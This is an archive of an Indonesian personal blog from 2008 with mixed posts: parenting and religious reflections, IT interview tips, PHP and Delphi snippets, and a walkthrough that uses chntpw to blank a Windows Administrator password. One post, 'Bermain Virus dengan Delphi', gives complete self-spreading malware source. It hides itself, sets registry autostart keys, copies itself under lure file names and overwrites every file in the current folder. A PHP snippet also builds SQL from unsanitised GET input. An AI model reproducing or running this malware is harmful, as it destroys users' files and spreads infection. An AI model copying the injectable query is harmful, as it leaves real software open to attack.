Untuk para Orang Tua

18 12 2008

Untuk para Orang Tua, mudah-mudahan bermanfaat:

Suatu hari suami saya rapat dengan beberapa rekan bisnisnya yang kebetulan mereka sudah mendekati usia 60 tahun dan dikaruniai beberapa orang cucu. Di sela-sela pembicaraan serius tentang bisnis, para kakek yang masih aktif itu sempat juga berbagi pengalaman tentang kehidupan keluarga di masa senja usia.

Suami saya yang kebetulan paling muda dan masih mempunyai anak balita, mendapatkan pelajaran yang sangat berharga, dan untuk itu saya merasa berterima kasih kepada rekan-rekan bisnisnya tersebut. Mengapa? Inilah kira-kira kisah mereka.

Salah satu dari mereka kebetulan akan ke Bali untuk urusan bisnis, dan minta tolong diatur tiket kepulangannya melalui Surabaya karena akan singgah ke rumah anaknya yang bekerja di sana.

Di situlah awal pembicaraan “menyimpang” dimulai. Ia mengeluh,
” Susah anak saya ini, masak sih untuk bertemu bapaknya saja sulitnya bukan main.”
“Kalau saya telepon dulu, pasti nanti dia akan berkata jangan datang sekarang karena masih banyak urusan. Lebih baik datang saja tiba-tiba, yang penting saya bisa lihat cucu.”

Kemudian itu ditimpali oleh rekan yang lain.

“Kalau Anda jarang bertemu dengan anak karena beda kota , itu masih dapat dimengerti,” katanya.
“Anak saya yang tinggal satu kota saja, harus pakai perjanjian segala kalau ingin bertemu.”
“Saya dan istri kadang-kadang merasa begitu kesepian, karena kedua anak saya jarang berkunjung, paling-paling hanya telepon.”

Ada lagi yang berbagi kesedihannya, ketika ia dan istrinya mengengok anak laki-lakinya, yang istrinya baru melahirkan di salah satu kota di Amerika.

Ketika sampai dan baru saja memasuki rumah anaknya, sang anak sudah bertanya,”Kapan Ayah dan Ibu kembali ke Indonesia?”
“Bayangkan! Kami menempuh perjalanan hampir dua hari, belum sempat istirahat sudah ditanya kapan pulang.”

Apa yang digambarkan suami saya tentang mereka, adalah rasa kegetiran dan kesepian yang tengah melanda mereka di hari tua. Padahal mereka adalah para profesional yang begitu berhasil dalam kariernya.

Suami saya bertanya,
“Apakah suatu saat kita juga akan mengalami hidup seperti mereka?”
Untuk menjawab itu, saya sodorkan kepada suami saya sebuah syair lagu berjudul Cat’s In the Cradle karya Harry Chapin. Beberapa cuplikan syair tersebut saya terjemahkan secara bebas ke dalam bahasa Indonesia agar relevan untuk konteks Indonesia.

Serasa kemarin ketika anakku lahir dengan penuh berkah. Aku harus siap untuknya, sehingga sibuk aku mencari nafkah sampai ‘tak ingat kapan pertama kali ia belajar melangkah. Pun kapan ia belajar bicara dan mulai lucu bertingkah.
Namun aku tahu betul ia pernah berkata,
“Aku akan menjadi seperti Ayah kelak”
“Ya betul aku ingin seperti Ayah kelak”
“Ayah, jam berapa nanti pulang?”
“Aku tak tahu ‘Nak, tetapi kita akan punya waktu bersama nanti, dan tentu saja kita akan mempunyai waktu indah bersama”
Ketika saat anakku ulang tahun yang kesepuluh; Ia berkata,
“Terima kasih atas hadiah bolanya Ayah, wah … kita bisa main bola bersama. Ajari aku bagaimana cara melempar bola”
“Tentu saja ‘Nak, tetapi jangan sekarang, Ayah banyak pekerjaan sekarang”
Ia hanya berkata, “Oh ….”
Ia melangkah pergi, tetapi senyumnya tidak hilang, seraya berkata, “Aku akan seperti ayahku. Ya, betul aku akan sepertinya”

“Ayah, jam berapa nanti pulang?”
“Aku tak tahu ‘Nak, tetapi kita akan punya waktu bersama nanti, dan tentu saja kita akan mempunyai waktu indah bersama”

Suatu saat anakku pulang ke rumah dari kuliah; Begitu gagahnya ia, dan aku memanggilnya, “Nak, aku bangga sekali denganmu, duduklah sebentar dengan Ayah”
Dia menengok sebentar sambil tersenyum, “Ayah, yang aku perlu sekarang adalah meminjam mobil, mana kuncinya?”
“Sampai bertemu nanti Ayah, aku ada janji dengan kawan”
“Nak, jam berapa nanti pulang?”
“Aku tak tahu ‘Yah, tetapi kita akan punya waktu bersama nanti dan tentu saja kita akan mempunyai waktu indah bersama”

Aku sudah lama pensiun, dan anakku sudah lama pergi dari rumah;
Suatu saat aku meneleponnya.
“Aku ingin bertemu denganmu, Nak”
Ia bilang,”Tentu saja aku senang bertemu Ayah, tetapi sekarang aku tidak ada waktu. Ayah tahu, pekerjaanku begitu menyita waktu, dan anak-anak sekarang sedang flu. Tetapi senang bisa berbicara dengan Ayah, betul aku senang mendengar suara Ayah”

Ketika ia menutup teleponnya, aku sekarang menyadari; Dia tumbuh besar persis seperti aku;
Ya betul, ternyata anakku “aku banget”.

Rupanya prinsip investasi berlaku pula pada keluarga dan anak. Seorang investor yang berhasil mendapatkan return yang tinggi, adalah yang selalu peduli dan menjaga apa yang diinvestasikannya.

Saya sering melantunkan cuplikan syair tersebut dalam bahasa aslinya,
“I’m gonna be like you, Dad, you know I’m gonna be like you”,kapan saja ketika suami saya sudah mulai melampaui batas kesibukannya.

Sumber: Anonymous.





Tips Inteview Di Dunia IT

20 11 2008

Siapa bilang jaman sekarang ini cari kerja susah. Pada kenyataannya di koran-koran saat ini banyak ada lowongan pekerjaan untuk berbagai posisi. Di mailing list head hunter atau lowongan pekerjaan juga setiap hari ditawarkan berbagai posisi yang lowong. Untuk karir di bidang TI sendiri saat ini masih terbuka lebar dan ini dikarenakan semua organisasi pasti membutuhkan tenaga TI untuk operasional bisnisnya.

Kesempatan berkarir di bidang TI memang masih menjadi favorit karena dunia TI menjanjikan masa depan yang cerah, baik untuk berkarir di perusahaan maupun juga mendirikan usaha sendiri. Tulisan kali ini kami akan mencoba berbagi beberapa tips interview pekerjaan di perusahaan TI. Mengapa penulis tertarik untuk menulis mengenai hal ini? Kunci dari suksesnya seorang kandidat untuk masuk ke perusahaan apapun, termasuk perusahaan TI sebenarnya ada tiga hal, yaitu:

  1. Skill yang bagus dan sesuai dengan apa yang dibutuhkan perusahaan
  2. Baik dalam merancang resume atau CV yang menarik
  3. Sukses berkomunikasi dan negosiasi ketika interview

Ketika Anda dipanggil interview oleh suatu perusahaan itu berarti Anda sudah sukses melalui tahap screening awal. Interview sendiri bentuknya bisa macam-macam. Ada yang lewat telepon ataupun juga face-to-face atau tatap muka langsung. Interview lewat telepon sering dilakukan jika keadaannya benar-benar urgent dan untuk mengetahui awal secara awal skill komunikasi yang dimiliki kandidat. Sekarang mari kita simak beberapa tips singkat seputar menghadapi interview pekerjaan khususnya dalam bidang TI.

1. Pahami dan kuasai core business perusahaan yang meng-interview Anda.
Begitu Anda mendapat panggilan interview dari suatu perusahaan TI, maka langkah awal yang sebaiknya Anda lakukan adalah melakukan riset mengenai seluk beluk perusahaan tersebut. Caranya mudah yaitu Anda bisa mengetahui profil perusahaan TI tersebut melalui situsnya di internet atau juga bisa bertanya ke rekan-rekan Anda mengenai perusahaan tersebut melalui instant messenger seperti Yahoo! Messenger atau MSN Messenger misalnya. Ini sangat penting karena kebanyakan para pelamar atau kandidat terkadang tidak paham dengan profil perusahaan. Padahal biasanya si pewawancara pasti menanyakan pertanyaan “Apa yang Anda ketahui mengenai perusahaan kami?”. Perusahaan terang saja lebih suka dengan kandidat yang minimal mengerti sedikit mengenai profil perusahaan yang dilamarnya. Dengan mengerti hal tersebut maka peluang Anda untuk maju lebih besar lagi. Di sisi Anda juga akan lebih menguntungkan karena akan memperlancar jalannya interview. Misalnya Anda dipanggil interview oleh Microsoft, maka Anda harus mengerti apa saja yang dikerjakan oleh Microsoft, apa saja produk-produk unggulannya dan lain sebagainya.
2. Pahami dan kuasai posisi pekerjaan yang ditawarkan oleh perusahaan.
Ketika Anda melamar suatu posisi di bidang IT maka sebaiknya Anda harus paham dengan posisi yang ditawarkan, maksudnya dari sisi job description-nya secara global dan sedapat mungkin cocok dengan apa yang dibutuhkan oleh perusahaan. Misalnya saja perusahaan X membutuhkan programmer PHP yang mengerti database MySQL dan juga pengalaman dengan XML, maka sebaiknya Anda sudah harus berpengalaman dengan hal-hal tersebut dan lebih baik dijelaskan pula apakah pengalaman tersebut digunakan pada pekerjaan sebelumnya atau hanya pernah menggunakannya untuk kepentingan personal.

3. Update pengetahuan Anda mengenai perkembangan dunia TI.
Selain mengetahui secara teknis mengenai scope calon pekerjaan Anda di calon perusahaan yang baru, maka sebaiknya Anda juga mengerti mengenai tren seputar dunia TI. Si pewawancara terkadang menanyakan tren apa yang saat ini berkembang di dunia TI. Ini adalah nilai plus bagi Anda.

Demikian tips interview ketika melamar ke perusahaan TI, selanjutnya banyak biasanya pertanyaan yang umum seperti “Mengapa Anda keluar dari perusahaan yang sekarang?”. Ini mudah saja jawabnya, “Saya mencari benefit yang lebih bagus, pekerjaan yang lebih menantang dan juga pengalaman baru yang bisa menambah wawasan saya.”.

Jangan lupa pula siapkan perlengkapan umum, seperti ballpoint, karena mungkin saja ada formulir atau sesuatu yang harus dijelaskan secara tertulis. Selain itu jangan lupa juga berpakaian yang rapi, karena biar bagaimanapun dan diperusahaan apapun pasti menginginkan karyawannya berpenampilan rapi dan menarik.

Ketika Anda diberi kesempatan untuk bertanya, maka gunakanlah untuk bertanya berbagai hal yang Anda ingin tanyakan, misalnya seperti:

  • Pada industri apa saja client dari perusahaan ini?
  • Bagaimana prospek ke depan dari perusahaan ini?
  • Apa saja core business dari perusahaan ini?
  • dan lain sebagainya

Referensi

* Dari berbagai sumber dan pengalaman pribadi.





7 Langkah Reset Password Administrator

7 11 2008
  • Memilih Lokasi Harddisk yang berisi system Windows

Langkah pertama: Booting komputer anda dengan Disk Boot

Disks:
Disk /dev/ide/host0/bus0/target0/lun0/disc: 2147 MB, 2147483648 bytes
NT partitions found:
1 : /dev/ide/host0/bus0/target0/lun0/part1 2043MB Boot
Please select partition by number or
a = show all partitions, d = load new disk drivers
l = relist NTFS/FAT partitions, q = quit
Select: [1] 1
  • Memilih Path / Lokasi Harddisk yang berisi system Windows

- winnt35/system32/config – Windows NT 3.51
- winnt/system32/config – Windows NT 4 and Windows 2000
- windows/system32/config – Windows XP/2003 and often Windows 2000 upgraded from Windows 98 or earlier.

[WINNT/system32/config] : WINNT/system32/config
  • Memilih Part Registri yang akan di loading system
Mounting on /dev/ide/host0/bus0/target0/lun0/part1
NTFS volume version 3.1.
Filesystem is: NTFS
=========================================================
. Step TWO: Select PATH and registry files
=========================================================
What is the path to the registry directory? (relative to windows disk)
[windows/system32/config] :
-r-------- 1 0 0 262144 Jan 12 18:01 SAM
-r-------- 1 0 0 262144 Jan 12 18:01 SECURITY
-r-------- 1 0 0 262144 Jan 12 18:01 default
-r-------- 1 0 0 8912896 Jan 12 18:01 software
-r-------- 1 0 0 2359296 Jan 12 18:01 system
dr-x------ 1 0 0 4096 Sep 8 11:37 systemprofile
-r-------- 1 0 0 262144 Sep 8 11:53 userdiff
Select which part of registry to load, use predefined choices
or list the files with space as delimiter
1 - Password reset [sam system security]
2 - RecoveryConsole parameters [software]
q - quit - return to previous
[1] : 1
  • Mengubah Data User & Password
chntpw version 0.99.2 040105, (c) Petter N Hagen
[.. some file info here ..]
* SAM policy limits:
Failed logins before lockout is: 0
Minimum password length : 0
Password history count : 0
<>========<> chntpw Main Interactive Menu <>========<>
Loaded hives: <sam> <system> <security>
1 - Edit user data and passwords
2 - Syskey status & change
3 - RecoveryConsole settings
- - -
9 - Registry editor, now with full write support!
q - Quit (you will be asked if there is something to save)
What to do? [1] -> 1
-----------------------------------------------------------
RID: 01f4, Username: <Administrator>
RID: 01f5, Username: <Guest>, *disabled or locked*
RID: 03e8, Username: <HelpAssistant>, *disabled or locked*
RID: 03eb, Username: <pnh>, *disabled or locked*
RID: 03ea, Username: <SUPPORT_388945a0>, *disabled or locked*
Select: ! - quit, . - list users, 0x<RID> - User with RID (hex)
or simply enter the username to change: [Administrator] -> tekan Enter
  • Mereset Password Administrator
RID : 0500 [01f4]
Username: Administrator
fullname:
comment : Built-in account for administering the computer/domain
homedir :
Account bits: 0x0210 =
[ ] Disabled | [ ] Homedir req. | [ ] Passwd not req. |
[ ] Temp. duplicate | [X] Normal account | [ ] NMS account |
[ ] Domain trust ac | [ ] Wks trust act. | [ ] Srv trust act |
[X] Pwd don't expir | [ ] Auto lockout | [ ] (unknown 0x08) |
[ ] (unknown 0x10) | [ ] (unknown 0x20) | [ ] (unknown 0x40) |
Failed login count: 0, while max tries is: 0
Total login count: 3
****TEKAN Y
* = blank the password (This may work better than setting a new password!)
Enter nothing to leave it unchanged
Please enter new password: * (tekan bintang / asteris untuk mereset password Administrator)
####Change It : Y
------------------------------------------------------------------------
Select: ! - quit, . - list users, 0x<RID> - User with RID (hex)
or simply enter the username to change: [Administrator] : !
(tekan tanda seru untuk keluar dari menu ini)
  • Keluar dari menu Edit User data & password
Loaded hives:
1 - Edit user data and passwords
2 - Syskey status & change
3 - RecoveryConsole settings
- - -
9 - Registry editor, now with full write support!
q - Quit (you will be asked if there is something to save)
What to do? [1] -> Q
  • Keluar dari Program dan restart
Hives that have changed:
# Name
0 - OK
Writing back : Y
Writing sam
NOTE: A disk fixup will now be done.. it may take some time
Mounting volume... OK
Processing of $MFT and $MFTMirr completed successfully.
NTFS volume version is 3.1.
Setting required flags on partition... OK
Going to empty the journal ($LogFile)... OK
NTFS partition /dev/ide/host0/bus0/target0/lun0/part1 was processed successfully.
NOTE: Windows will run a diskcheck (chkdsk) on next boot.
NOTE: this is to ensure disk intergity after the changes
***** EDIT COMPLETE *****
You can try again if it somehow failed, or you selected wrong
New run? [n] : n





10 Mitos Qur’an

6 11 2008

Kalau diflashback ke belakang, sepanjang ngaji Quran dari dulu sampai sekarang walau seayat dua ayat, sering kita bertemu dengan keterangan-keterangan yang mencengangkan di sana. Apa-apa yang dulu kita percayai dibuat nggak berlaku lagi. Menjadi mitos-mitos. Barangkali begitu cara Quran menuntun para pembacanya. Kadang lembut setahap demi setahap, tapi kadang mendobrak sampai dalam.

Berikut 10 hal-hal yang buat saya telah menjadi mitos, walau bahkan sampai detik ini pun tak sepenuhnya bisa lepas dari mitos-mitos itu.

(Myth no 1) Kita bisa memahami makna Al-Quran, dengan membaca terjemahannya.
Nggak semua. Bahkan mungkin, nggak 20%-nya atau malah nol koma sekian persennya. Ketika membaca terjemahannya, kita suka bingung dengan “gaya” penyampaian Al-Quran yang sekilas terkesan melompat-lompat, nggak nyambung antara kalimat yang satu dengan yang lain, terkesan misterius, dan kadang gimana ya… seperti “berahasia-rahasiaan” gitu.

Sesungguhnya Al-Quran ini adalah bacaan yang sangat mulia, pada kitab yang terpelihara (Lauhul Mahfuzh), tidak menyentuhnya kecuali orang-orang yang disucikan. (QS [56]:77-79)

Hanya “orang-orang yang disucikan”. Bukan yang menyucikan diri, bukan yang membaca terjemahannya, bukan yang sekolah tafsir sampai S4. Melainkan… mereka yang disucikan. Teman-teman yang baik, apanya yang disucikan? Dan oleh siapa? Seperti apa “yang disucikan” itu?

Sebenarnya, Al Quran itu adalah ayat-ayat yang nyata di dalam dada orang-orang yang diberi Al-’ilm. (QS [29]:49)

Jangan salah sangka, I’m not saying “hey don’t read the Quran, karena nggak akan paham.” It simply means: bahwa bukan kita sendiri yang membuat kita paham Quran. Ada faktor X, yang beyond our control. Belajar dan memahami mati-matian tanpa keterlibatan Dia Yang Maha Berkehendak, useless.

(Myth no 2) Kalau amal lebih banyak dari dosa, nggak akan tersentuh neraka.
Faktanya, sori, agak “mengerikan” nih, bahwa: bila masih ada dosa, akan tersentuh neraka.

Sesungguhnya barangsiapa datang kepada Tuhannya dalam keadaan berdosa, maka sesungguhnya baginya neraka Jahannam. Ia tidak mati di dalamnya dan tidak (pula) hidup. (QS [20]:74)

Duh, saya sebenarnya nggak kepingin nakut-nakutin. Tapi kan khawatir sendirian benar-benar nggak enak… ;-) Semoga kita diberi ampunan, diterima taubatnya, menjadi yang beriman dan bisa beramal yang baik, yang klop.

Dan orang-orang yang beriman dan beramal salih, benar-benar akan Kami hapuskan dari mereka dosa-dosa mereka. (QS [29]:7)

(Myth no 3) Hidup bersih dan sehat, bikin panjang umur.
Well, unfortunately… ajal telah ditetapkan. Tahun, bulan, hari, jam, menit dan detiknya, sudah pasti.

Dan sekali-kali tidak dipanjangkan umur seorang yang berumur panjang dan tidak pula dikurangi umurnya, melainkan (sudah ditetapkan) dalam Kitab (Lauh Mahfuzh). (QS [35]:11)

Tidak (dapat) sesuatu umatpun mendahului ajalnya, dan tidak (dapat pula) mereka memperlambat (ajalnya itu). (QS [23]:43)

You can run, but you can’t hide. ;-)

Please jangan salah sangka, bukannya mau bilang “percuma hidup bersih dan sehat.” Setuju bahwa kita diperintahkan hidup bersih dan sehat, but it has nothing to do with the time of death. Hidup bersih dan sehat IS your job, karena badan ini punya haknya yang harus kita penuhi. But death is His business, don’t you think?

(Myth no 4) Kita bukan penyembah berhala. Kita bukan orang kafir.
Benarkah?

Maka pernahkah kamu melihat orang yang menjadikan hawa nafsunya sebagai tuhannya? (QS [45]:23)

Dan coba perhatikan hubungan yang sangat erat antara mencintai dunia dengan kekafiran, seberapakah jarak kita dengan kekafiran? Tipis sekali.

Yang demikian itu disebabkan karena sesungguhnya mereka mencintai kehidupan di dunia lebih dari akhirat, dan bahwasanya Allah tiada memberi petunjuk kepada kaum yang kafir. (QS [16]:107)

Jadi, teman-teman yang baik, benarkah? Kita bukan penyembah berhala, kita bukan orang kafir?

(Myth no 5) Beriman adalah sebuah pilihan.
No. Not your choice. His choice.

Dan tidak ada seorangpun akan beriman kecuali dengan izin Allah. (QS [10]:100)

So, buat yang beriman, you are very lucky.

(Myth no 6) Tidak beriman juga sebuah pilihan.
Sebaliknya, itu pun sebuah ketetapan.

Saya yakin, banyak yang nggak akan suka dengan ide bahwa orang ditetapkan tidak beriman, karena itu artinya kemudian orang ditetapkan masuk neraka.

Sesungguhnya orang-orang yang telah pasti terhadap mereka kalimat Tuhanmu, tidaklah akan beriman. (QS [10]:96)

Penjelasannya mungkin panjang, tapi praktisnya begini: kalau kita ingat Dia, bahkan sekelebat saja, kalau kita ingat bahwa kita akan kembali kepada-Nya (and act accordingly!), itu adalah sebuah “panggilan” dari-Nya, sebuah harapan akan kehendak-Nya, ketetapan-Nya.

(Myth no 7) Harta dan anak-anak adalah kenikmatan dan kesenangan dari Tuhan.
Hohoho… Bahkan sebaliknya,

Dan ketahuilah, bahwa hartamu dan anak-anakmu itu hanyalah sebagai cobaan dan sesungguhnya di sisi Allah-lah pahala yang besar. (QS [8]:28)

(Myth no 8) Agama tidak pernah mengajarkan nasionalisme.
Istilah “nasionalisme”-nya sih mungkin nggak. Tapi rasanya bukan sebuah kebetulan bila kita ditempatkan, dilahirkan di sini, di tanah ini. Ya nggak sih? Tuhan bukanlah seperti tukang kebun yang secara serampangan menebarkan biji-bijian ke tanah di luar sana. Jiwa-jiwa dipilih dan segala hal dipertimbangkan, untuk sebuah tujuan:

Dia telah menciptakan kamu dari tanah ini dan menjadikan kamu pemakmurnya. (QS [11]:61)

Lalu, teman-teman yang baik, adakah ber-Islam dengan jalan ber-arab-arab ria? Bukankah ber-Islam kemudian adalah, justru, berbakti dan berjuang untuk negeri, tanah air ini? Menjadi manusia Indonesia, seutuhnya?

(Myth no 9) Kita tidak bisa bercakap-cakap dengan Tuhan.
Anehnya, justru kita diinformasikan oleh Quran bahwa kita pernah memiliki kemampuan itu.

Dan (ingatlah), ketika Tuhanmu mengeluarkan keturunan anak-anak Adam dari sulbi mereka dan Allah mengambil kesaksian terhadap jiwa mereka (seraya berfirman): “Bukankah Aku ini Tuhanmu?” Mereka menjawab: “Betul, kami menjadi saksi”. (QS [7]:172)

Gimana ceritanya kita tak lagi punya kemampuan itu? Bagaimana kita lupa akan kejadian yang luar biasa ini?

(Myth no 10) Orang yang sudah mati tak mungkin hadir di dunia
Orang-orang tertentu, ketika mereka sudah meninggal sekalipun, dapat berjalan-jalan di tengah-tengah kita.

Dan apakah orang yang sudah mati kemudian dia Kami hidupkan dan Kami berikan kepadanya cahaya yang terang, yang dengan cahaya itu dia dapat berjalan di tengah-tengah masyarakat manusia… (QS [6]:122)

Cahaya yang terang… does it make you wonder? Cahaya apa?

Maka apakah orang-orang yang dibukakan Allah hatinya untuk Al-Islam lalu ia mendapat cahaya dari Tuhannya… (QS [39]:22)

Hati. Cahaya. Misterius kan?

moga bisa menjadi bahan renungan saya , anda , semua yang baca…

di sadur dari berbagai sumber.





Membuat Laporan (Print)

4 11 2008
  • Buat tombolnya printnya di halamn preview report

<input type=”button” name=”btn_cetak” onClick=”cetak(<?php echo $param;?>)” value=”Cetak”>

  • Buat script javascript diantara tag<head></head>

<script language=”javascript”>
function cetak(param){
window.open(“cetak.php?param=”+param,”cetak”,”width=500,heigth=500,scrollbars=1″)
}
</script>

Di cetak php
<body onload=”window.print()”>
<?php
$param=$_GET[’param’];
$sql=”select ….. from … where field=’$param’”;
//buat tampa button
?>
</body>

dengan sedikit perubahan, source selengkapnya :

<html>
<head>
<title>Tes</title>

<style type=”text/css”>
@media print {
input.noPrint { display: none; }
}
</style>

</head>
<body>

<?php
class orang {
var $nama = ‘Nyoba Print’;
var $tinggal = ‘Di HTML’;
}
$new_plesh=new orang();
echo “Tugas saya adalah “.$new_plesh->nama;
echo “<br>”;
echo “Tinggal di :”.$new_plesh->tinggal;

?>
<form><input class=”noPrint” type=”button” value=”Print” onclick=”window.print()”></form>

</body>
</html>





Bermain Virus dengan Delphi

4 11 2008

Silahkan teman-teman gunakan sebagai bahan pembelajaran, saya tidak bertanggung jawab terhadap segala akibat yang ditimbulkan

unit Unit1;
interface
{Deklarasi ShellApi Yang Digunakan}
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Shellapi,registry, Mmsystem, StdCtrls, ExtCtrls, jpeg;
type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{{$R MySoundRes.RES}
procedure TForm1.FormCreate(Sender: TObject)
{Deklarasi variabel}
var
regis: TRegistry;
APath: string;
MySearch: TSearchRec;
dir : string;
{i : integer;}
{x : integer;}
{F:TextFile;}
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
{form tak terlihat}
Application.ShowMainForm := false;
{copy dulu ah}
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
mkdir(sysdir+’\runfold’);
except
end;
try
CopyFile(pchar(application.ExeName),PChar(windir+’\Dadan cakep.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\sistim32.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Rahasia.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Jangan dibuka.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\hotmovie.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\ramdan.avi.exe’),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+’\runfold\-NET-SERVICES-.exe’),true);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{menjalankan service tak terlihat}
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(sysdir+’\runfold\-NET-SERVICES-.exe’), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{men-disable TASK MANAGER}
try
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey(’Software’, True);
regis.OpenKey(’Microsoft’, True);
regis.OpenKey(’Windows’, True);
regis.OpenKey(’CurrentVersion’, True);
regis.OpenKey(’Policies’, True);
regis.OpenKey(’System’, True);
regis.WriteString(’DisableTaskMgr’, ‘0');
regis.CloseKey;
except
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{membuat key di registry biar auto run gitu}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Run’,True) then
reg1.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg1.CloseKey;
{membuat key registry di runonce}
reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey(’Software\Microsoft\Windows\CurrentVersion\RunOnce’,True) then
reg2.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg2.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{menginfeksi file}
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+’\*.*’, faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+’\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{merubah file yg terinfeksi}
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+’\*.*’, faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+’\'+MySearch.Name),pchar(APath+’\'+MySearch.Name+’.exe’));
renamefile (pchar(application.ExeName+’.exe’),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
procedure TForm1.Timer1Timer(Sender: TObject);
{terus perhatiin yah}
{deklarasi variabel}
var
regis: TRegistry;
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
mkdir(sysdir+’\runfold’);
except
end;
try
CopyFile(pchar(application.ExeName),PChar(windir+’\Dadan cakep.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\sistim32.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Rahasia.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Jangan dibuka.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\hotmovie.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\ramdan.avi.exe’),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+’\runfold\-NET-SERVICES-.exe’),true);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{tetep jalanin virus secara tak terlihat}
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(sysdir+’\runfold\-NET-SERVICES-.exe’), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{mendisable task manager}
begin
try
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey(’Software’, True);
regis.OpenKey(’Microsoft’, True);
regis.OpenKey(’Windows’, True);
regis.OpenKey(’CurrentVersion’, True);
regis.OpenKey(’Policies’, True);
regis.OpenKey(’System’, True);
regis.WriteString(’DisableTaskMgr’, ‘0');
regis.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Run’,True) then
reg1.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg1.CloseKey;
{bikin lagi key registry}
reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey(’Software\Microsoft\Windows\CurrentVersion\RunOnce’,True) then
reg2.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg2.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
try
ShellExecute(0, ‘open’, ‘www.imm.or.id’, nil, nil, SW_NORMAL);
mciSendString(’dadan cakep deh’, nil, 0, handle);
except
end;
timer2.Enabled:= true;
timer1.Enabled:= false;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
try
  mciSendString(’dadan memang cakep’, nil, 0, handle);
except
end;
timer1.Enabled:= true;
timer2.Enabled:= false;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
end;
end.




Mendapatkan Serial Number Harddisk

4 11 2008

sesuai dengan judulnya….

function GetHardDiskSerial(const DriveLetter: Char): string;
var
NotUsed:     DWORD;
VolumeFlags: DWORD;
VolumeInfo:  array[0..MAX_PATH] of Char;
VolumeSerialNumber: DWORD;
begin
GetVolumeInformation(PChar(DriveLetter + ':\'),
nil, SizeOf(VolumeInfo), @VolumeSerialNumber, NotUsed,
